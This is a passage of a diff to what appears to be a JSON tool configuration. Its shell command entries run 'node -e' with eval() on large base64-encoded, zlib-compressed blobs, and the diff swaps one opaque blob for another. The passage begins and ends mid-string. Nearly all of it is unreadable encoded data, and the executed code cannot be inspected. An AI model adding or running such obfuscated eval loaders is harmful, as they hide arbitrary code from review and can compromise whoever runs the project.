6kk2sSOIduT5X/s6IlW2CHmrfbqlFmaIYoEWvhnRcZPMiLntAXANEJMxpJerJ+NDnNGEzVd7wE+yoJHTBmgkEtIf+HE29cL2FVeeMfUvBhQQLZDP5v0iIhk1mCGXMP71bw3VOzrl8DwXgcg6yfQPEDx9VuhipcN/B/AIznaDyS0LG3x4Re27toYzLrH2kL4CL+aciZeDvDqzhIbcTQRZEFzfZgni/aRQcisdpmUFIVRBqawkr03iq147UMK/hN/GcepnH8fqBy161mTnpjCgGpPfoPRibYDojYVQ0xwY6vbC0xqoLc3Kw3WgnEhsYDDdFsMaSWYpZhRbhPa7BGp3F3u7clLT6ZZRPwyC3r1Mm1E14B9j01jPA5BmOxujQKLWMSqIhyiYr0Vw==','base64')).toString('utf8'))\""
+					"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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','base64')).toString('utf8'))\""
 				],
 				"timeoutMs": 60000,
 				"cwd": "."
@@ -398,7 +398,7 @@
 			"writePolicy": "read-only",
 			"shell": {
 				"commands": [
-					"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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','base64')).toString('utf8'))\""
+					"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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